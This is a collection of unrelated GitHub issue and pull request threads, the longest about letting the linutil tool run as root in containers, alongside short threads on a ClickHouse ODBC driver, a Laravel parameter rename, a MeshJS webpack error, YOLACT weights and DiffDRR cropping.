Checklist

[x] My code adheres to the coding and style guidelines of the project.
[x] I have performed a self-review of my own code.
[x] I have commented my code, particularly in hard-to-understand areas.
[ ] I have made corresponding changes to the documentation.
[x] My changes generate no errors/warnings/merge conflicts.

what if i am in container system such as docker/podman? they do not drop me as a normal user with dmin rights. they just drop the user in as the root acc.

just look for .dockerenv in /

just look for .dockerenv in /

Not only docker env runs as root. Normal user may invoke linutil as root

just look for .dockerenv in /

Not only docker env runs as root. Normal user may invoke linutil as root

this allows the user run the script to run it in docker/podman/ andy other container system. this is because users do not usally create users in containers, and insted default to the root user pre-created. we just need to tewak the scripts to allow the scripts to skip elevation checks if the user is root

just look for .dockerenv in /

Not only docker env runs as root. Normal user may invoke linutil as root

this allows the user run the script to run it in docker/podman/ andy other container system. this is because users do not usally create users in containers, and insted default to the root user pre-created. we just need to tweak the scripts to allow the scripts to skip elevation checks if the user is root

Running scripts as root may break many things. For example configuration files should not be in root permission. An application or non-root user may not be able to rw the configuration file due to insufficient permissions. And why would someone try to run linutil in a docker container ??

I need to set up the bash scripts as I can't stand the default one

@jeevithakannan2 instead of precluding the use, it might be worth implementing a root warning and doing a refactor to just leave ESCALATION_TOOL unset when run as root. Configuration files should written relative to $HOME, which would be inaccessible to other users anyways, and software is almost exclusively, if not completely, handled by package managers, so there shouldn't be any permission issues there. If there are any game-breaking conflicts, I'll eat my words, but I don't think that we need to put that tight of a restriction.

just look for .dockerenv in /

I don't like this. Running a ubuntu docker container should generally the same as running as root in a bare-metal ubuntu install, unless you're running a crazy stripped-down image. There are better solutions to make this workable for this kind of use-case

@jeevithakannan2 instead of precluding the use, it might be worth implementing a root warning and doing a refactor to just leave ESCALATION_TOOL unset when run as root. Configuration files should written relative to $HOME, which would be inaccessible to other users anyways, and software is almost exclusively, if not completely, handled by package managers, so there shouldn't be any permission issues there. If there are any game-breaking conflicts, I'll eat my words, but I don't think that we need to put that tight of a restriction.

Ok will go through this one more time. If root is disabled arch server setup cannot be run. I think I should do it in the scripts then

Also, I made a PR on your dev branch that implements a warning prompt notifying users that they are running as root. Since we're not really testing these scripts with standard user perms, it's probably best to notify users that they are outside the bounds of the current user story

I also would remove the cli flag since most users are probably going to be using the network runner

Also, I made a PR (jeevithakannan2#1) on your dev branch that implements a warning prompt notifying users that they are running as root. Since we're not really testing these scripts with standard user perms, it's probably best to notify users that they are outside the bounds of the current user story

Can't we just add a flag

I also would remove the cli flag since most users are probably going to be using the network runner

Yeah removed it thanks for the PR

This will only slow linutil down

?

This will only slow linutil down

?

This PR is adding another rust dependency, more checks and code that has to be maintained. I just think this can be easily avoided with a more efficient approach.

To get the inlined superuser check functional would need even more code to maintain, and it would be hard to beat 8 lines of bash except by just unquoting all references toESCALATION_TOOL and not bothering with an additional function

Tbh, I think unquoting would be the simplest @jeevithakannan2

Mmm 🤔

@cartercanedy To be 100% honest, I love this idea
BUT
depending on a crate that hasn't been updated in 3-4 years for privilage-escalation related stuff is just not a good idea.

Getting the inlined superuser check functional would need even more code to maintain, and it would be hard to beat 8 lines of bash except by just unquoting all references toESCALATION_TOOL and not bothering with an additional function

I'm talking about Rust code.

So I undo the changes and not use a crate. If yes I have solution for that too !!

depending on a crate that hasn't been updated in 3-4 years for privilege-escalation related stuff is just not a good idea.

Fair point

We can check the USER env right for running as root ?

@jeevithakannan2 You can use Rust's libc to check current UID.

libc

Yeah thought of that. It needs unsafe that's why I leaned toward crate

Yeah we currently 0% of Linutil's codebase is unsafe. Would be sad to loose that.

What about nix::unistd?

How about nix::unistd?

That seems like the best safe option

Yeah agreed

What about the scripts ??

What about the scripts ??

scripts are fine

What about the scripts ??

scripts are fine

We can just unquote the ESCALATION_TOOL instead of creating a new function

I'm not sure what all this discussion is, it's already been decided that we're going to adapt the scripts to work on root (as as been done in the recent commits here) rather than prohibiting linutil from launching as root. Please drop https://github.com/ChrisTitusTech/linutil/pull/821/commits/c997a3d89e6908a6fb76d15da03ee43a6ed4fdda.
By the way, @adamperkowski, both crates mentioned here, nix and this unmaintained sudo crate use libc::getuid() anyways. I think it's a poor idea to religiously avoid writing a line of unsafe code, just to pick up another dependency which calls quite literally the exact same function. That does the opposite of improving security.

By the way, @adamperkowski, both crates mentioned here, nix and this unmaintained sudo crate use libc::getuid() anyways. I think it's a poor idea to religiously avoid writing a line of unsafe code, just to pick up another dependency which calls quite literally the exact same function. That does the opposite of improving security.

I am aware that they do use libc::getuid but by not including unsafe code blocks in our code directly we at least know that future PRs / other stuff like that will be relatively safe and have an overall lower chance of causing something like memory leaks, overflows, etc. It is 100% possible that (for example) libc gets updated in the future and using getuid directly could cause issues. Using nix::unistd solves this issue. (assuming that nix would be regularly updated)

We should use a #![forbid(unsafe_code)] top-level directive to enforce safety then

@ChrisTitusTech All the scripts have shellcheck warning and formatting issues that need to be resolve in a separate PR. This PR has no issues.

?

?

I was just about to say...


Driver error on mac M1 Big sur 11.5.1

Hi,
I faced with driver error when had trying to connect Tableau Desktop 2021.2.1
Tried solution from issue #363 but didn't help

Have you built the driver from sources yourself?

I installed the driver following the steps from this answer:
https://github.com/ClickHouse/clickhouse-odbc/issues/363#issuecomment-872233784

I figure it out by this way https://github.com/ClickHouse/clickhouse-odbc/issues/363#issuecomment-957119897


TRACE_CTX_LOG_PREFIX in trace_ctx should be tracectx instead of traceCtx

Core CP4NA services used tracectx in log statements so lmctl should use the same.

Fixed by #100


[12.x] Suggestion to rename $ignoreCase to $caseSensitive

Description
This is a suggestion to rename the $ignoreCase parameter in Str::contains and Str::containsAll methods to $caseSensitive. The latter looks more readable and intuitive in my opinion and other methods in the Str support class, such as Str::replace and Str::remove use the same name. I feel this inconsistency needs to be resolved.
Backwards Compatibility
This change would break BC when the method is called using named arguments. Since Laravel doesn't guarantee BC for named arguments I think this should not be a problem.

Even named arguments are not used, it's still a BC. Because the meaning and usage of the third parameter is absolutely changed (not only rename a variable).
Eg, if someone calls contains with the third parameter as true, they'll have to change to false later.
// Currently
Str::contains("HELLO WORLD", "hello", true); // returns true

// Later (if this PR is merged)
Str::contains("HELLO WORLD", "hello", true); // returns false

// They have to change the third parameter to false
Str::contains("HELLO WORLD", "hello", false); // returns true

To conclusion, I agree with you that it's should be consistent and using $caseSensitive for all related Str methods is fine. But this PR is absolutely a BC and needed to be mentioned in Upgrade Guide of next major release. It's a medium impact change maybe, I'm not sure.

You are right @seriquynh. It slipped my mind. Thank you so much for pointing it out.

I'm going to hold off on this one. Just one of those very minor things that could cause a lot of headache throughout the ecosystem being a breaking change since the value of the third argument would mean the opposite of what it does now.


React + MeshJS error when using import { MeshProvider } from '@meshsdk/react'; after manual install via webpack

ERROR in<EMAIL_ADDRESS>Can't import the named export '__wbindgen_realloc' (imported as 'wasm') from default-exporting module (only default export is available)
webpack compiled with 448 errors and 2 warnings
The error is above, for background I'm trying to use Mesh in a React project.  I followed the manual installation using the webpack option. and have added the webpack.config.cjs  code into the existing webpack.config.js I found in the project.  I'm getting the error anytime i try to use import with @meshsdk.  Like import { MeshProvider } from '@meshsdk/react';
I'm certain I've done something wrong, any guidance would help.

do you happen to use Next.js? @ojonah

No, I have not used Next.js before. Is that required?

no, @ojonah it's not required.
So you're just using React with webpack 5, right?

Yes, just React but I'm not sure on the webpack version. is there a way to check this?

In my package.json its showing webpack 5.90.3

I'm suspecting the error message I'm encountering suggests that there's an issue with the way the @emurgo/cardano-message-signing-browser package is being imported. How can I check the webpack configuration to ensure that the webpack configuration is set up correctly to handle the imports from @emurgo/cardano-message-signing-browser, and to make sure that I'm using the appropriate loader for WebAssembly modules. @chrissiwaffler

Hi @ojonah, have you tried to add
 experiments: {
    asyncWebAssembly: true,
  }

to your webpack config?

@ojonah I'm having the same issue, did you find solution for the same?

Check #183

if the error still occurs at your end, you might want to look into my this answer: https://github.com/MeshJS/mesh/pull/152#issuecomment-1708656146

Packaging has been refactored entirely since version V1.6, please re-open if issue persists


Initialize net with pretrained weights of another dataset with different number of class labels

Hi,
Ich want to initialize the yolact net with pretrained weights from another dataset.
The dataset has only three class lables.
The dataset I want to finetune the weights has 7 class lables.
And so the number of weights doesn't correspond and I get an error in the dimensions of the layers.
size mismatch for prediction_layers.0.conf_layer.weight: copying a param with shape torch.Size([12, 256, 3, 3]) from checkpoint, the shape in current model is torch.Size([24, 256, 3, 3]).
size mismatch for prediction_layers.0.conf_layer.bias: copying a param with shape torch.Size([12]) from checkpoint, the shape in current model is torch.Size([24]).
size mismatch for semantic_seg_conv.weight: copying a param with shape torch.Size([3, 256, 1, 1]) from checkpoint, the shape in current model is torch.Size([7, 256, 1, 1]).
size mismatch for semantic_seg_conv.bias: copying a param with shape torch.Size([3]) from checkpoint, the shape in current model is torch.Size([7]).

Is there any chance that I can somehow use the weights of the dataset with only 3 classes ?

Yup definitely. The solution is stated in https://github.com/dbolya/yolact/issues/36.

Thanks a lot. It is working !


Allow sha256_init to set output to arbitrary array.

Rather than only a sha256 midstate.
This lets us hash directly into one half a 64-byte block which is useful for many Merkle tree constructions.

This is in preparation for switching to BIP-340+ style tagged hashes.


TypeError: Converting circular structure to JSON upgrading from 5.5.0 to 5.5.4

Getting a TypeError: Converting circular structure to JSON after upgraded from 5.5.0 to 5.5.4.
Aprently it ocours when using the .sign() method, which internally uses JSON.stringify() and should use a custom replacer.

I just tried this on 5.5.0 (git checkout v5.5.0) and it doesn't work either with circular references.
It was never supported and I am not planning to support this.


[Event Request] Codeunit 248 VAT Lookup Ext. Data Hndl

The following events are required for this object:
    [IntegrationEvent(false, false)]
    local procedure OnBeforeLookupVatRegistrationFromWebService(var VATRegistrationLog: Record "VAT Registration Log"; var VATRegLog: Record "VAT Registration Log"; var IsHandled: Boolean)
    begin
    end;

    [IntegrationEvent(false, false)]
    local procedure OnBeforeCreateInStream(var TempBlob: Codeunit "Temp Blob"; VATRegistrationLog: Record "VAT Registration Log"; var IsHandled: Boolean)
    begin
    end;

    trigger OnRun()
    var
        IsHandled: Boolean;
    begin
        //EVENT REQUEST
        IsHandled := false;
        OnBeforeLookupVatRegistrationFromWebService(Rec, VATRegistrationLog, IsHandled);
        if IsHandled then
            exit;
        //EVENT REQUEST

        VATRegistrationLog := Rec;

        LookupVatRegistrationFromWebService(true);

        OnRunOnAfterLookupVatRegistrationFromWebService(VATRegistrationLog, Rec);

        Rec := VATRegistrationLog;
    end;

	local procedure PrepareSOAPRequestBody(var TempBlob: Codeunit "Temp Blob")
    var
        Customer: Record Customer;
        VATRegNoSrvTemplate: Record "VAT Reg. No. Srv. Template";
        XMLDOMMgt: Codeunit "XML DOM Management";
        RecordRef: RecordRef;
        BodyContentInputStream: InStream;
        BodyContentOutputStream: OutStream;
        BodyContentXmlDoc: DotNet XmlDocument;
        EnvelopeXmlNode: DotNet XmlNode;
        CreatedXmlNode: DotNet XmlNode;
        AccountName: Text;
        AccountStreet: Text;
        AccountCity: Text;
        AccountPostCode: Text;
        IsHandled: Boolean;
    begin
        //EVENT REQUEST
        IsHandled := false;
        OnBeforeCreateInStream(TempBlob, VATRegistrationLog, IsHandled);
        if IsHandled then
            exit;
        //EVENT REQUEST

        TempBlob.CreateInStream(BodyContentInputStream);
        BodyContentXmlDoc := BodyContentXmlDoc.XmlDocument;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 12501.


PRODUCTION BUG: wrong amount in report

Amount in report are with pre-counted values, but must be from extrinsic events.

err1.csv

reproduced.


Crop CT to generate DRR

Hi, I am currently undergoing lumbar spine registration. In order to improve the efficiency of generating DRR, I cropped the CT based on the mask of the vertebrae. But the cropped pose is different from the original CT. I found that diffdrr is projected based on the center point of CT, so after cropping, the center point changes causing displacement. So, after cropping, how should we ensure that the pose of the DRR does not shift and remains consistent with the relative position of the DRR generated by the original CT.

After Cropping

Without Cropping But Set background to 0

Target Drr
It can be observed that the DRR image generated after cropping the CT is located in the middle position.

I have solved it, just translate the center point of the vertebral body. LOL^^

Cropping (After translating the center point)

DRR generated using raw CT (time-consuming)


docs: updating docs-field-api removing old doc and updating to new pr…

Changelog

I noticed that the docs for the FieldOptions were outdated and some properties didn't exist anymore, added the new ones and remove old
https://github.com/TanStack/form/blob/main/packages/form-core/src/FieldApi.ts#L35-L42 updated mainly these ones

This is incredible, especially with how quick you moved on this! Thank you so so much.

This is incredible, especially with how quick you moved on this! Thank you so so much.

For sure! Let me know if there are other docs I could help with. 💪🏽